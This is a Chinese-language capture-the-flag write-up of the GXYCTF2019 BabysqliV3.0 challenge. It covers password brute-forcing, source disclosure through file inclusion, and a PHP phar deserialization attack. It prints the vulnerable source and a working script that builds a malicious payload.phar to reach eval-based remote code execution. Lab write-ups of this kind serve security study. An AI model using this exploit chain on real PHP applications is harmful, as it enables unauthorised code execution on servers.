[GXYCTF2019]BabysqliV3.0

本文主要是介绍[GXYCTF2019]BabysqliV3.0，对大家解决编程问题具有一定的参考价值，需要的程序猿们随着小编来一起学习吧！

打开题目是登录界面

尝试sql注入，发现不行

使用burp爆破出密码是password
登录

 看了一下url，怀疑存在文件包含

 解码得到源码

home.php

<?php
session_start();
echo "<meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <title>Home</title>";
error_reporting(0);
if(isset($_SESSION['user'])){
    if(isset($_GET['file'])){
        if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
            die("hacker!");
        }
        else{
            if(preg_match("/home$/i", $_GET['file']) or preg_match("/upload$/i", $_GET['file'])){
                $file = $_GET['file'].".php";
            }
            else{
                $file = $_GET['file'].".fxxkyou!";
            }
            echo "当前引用的是 ".$file;
            require $file;
        }
        
    }
    else{
        die("no permission!");
    }
}
?>

upload.php

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> 

<form action="" method="post" enctype="multipart/form-data">
    上传文件
    <input type="file" name="file" />
    <input type="submit" name="submit" value="上传" />
</form>

<?php
error_reporting(0);
class Uploader{
    public $Filename;
    public $cmd;
    public $token;
    

    function __construct(){
        $sandbox = getcwd()."/uploads/".md5($_SESSION['user'])."/";
        $ext = ".txt";
        @mkdir($sandbox, 0777, true);
        if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

        $this->cmd = "echo '<br><br>Master, I want to study rizhan!<br><br>';";
        $this->token = $_SESSION['user'];
    }

    function upload($file){
        global $sandbox;
        global $ext;

        if(preg_match("[^a-z0-9]", $this->Filename)){
            $this->cmd = "die('illegal filename!');";
        }
        else{
            if($file['size'] > 1024){
                $this->cmd = "die('you are too big (′▽`〃)');";
            }
            else{
                $this->cmd = "move_uploaded_file('".$file['tmp_name']."', '" . $this->Filename . "');";
            }
        }
    }

    function __toString(){
        global $sandbox;
        global $ext;
        // return $sandbox.$this->Filename.$ext;
        return $this->Filename;
    }

    function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }
}

if(isset($_FILES['file'])) {
    $uploader = new Uploader();
    $uploader->upload($_FILES["file"]);
    if(@file_get_contents($uploader)){
        echo "下面是你上传的文件：<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }
}

?>

可操控的参数和命令执行函数

$this->Filename = $_GET['name'];

eval($this->cmd);

上传代码

if(@file_get_contents($uploader)){
        echo "ä¸‹é¢æ˜¯ä½ ä¸Šä¼ çš„æ–‡ä»¶ï¼š<br>".$uploader."<br>";
        echo file_get_contents($uploader);
    }

观察了一下代码，发现应该是一个反序列化，但是有没有发现反序列化代码，确定是一道phar反序列化题目

由于使用文件操作函数配合伪协议phar://读取文件可触发反序列化,从而导致 rce.

基于这样的想法,这里便上传一个.phar文件

function __destruct(){
        if($this->token != $_SESSION['user']){
            $this->cmd = "die('check token falied!');";
        }
        eval($this->cmd);
    }

这里还需要获得user的session

if(isset($_GET['name']) and !preg_match("/data:\/\/ | filter:\/\/ | php:\/\/ | \./i", $_GET['name'])){
            $this->Filename = $_GET['name'];
        }
        else{
            $this->Filename = $sandbox.$_SESSION['user'].$ext;
        }

随便上传个文件得到session

 构造一下上传的文件

class Uploader{
    public $Filename;
    public $cmd;
    public $token;
    function __destruct(){
        eval($this->cmd);
    }
}

$o = new Uploader();
$o->cmd = 'phpinfo();';#
$o->token = 'd41d8cd98f00b204e9800998ecf8427e';
$phar = new Phar("payload.phar");
$phar ->startBuffering();
$phar -> setStub("<?php __HALT_COMPILER();?");
$phar -> setMetadata($o);
$phar -> addFromString("test.txt","you are hacked");
$phar -> stopBuffering();

由于如果要触发file_get_contents(),得上传个文件,
随便上传一下，然后/?name=phar:// + 上传phar文件的路径
成功执行了

接下来把phpinfo命令改一下就行了

成功命令执行了

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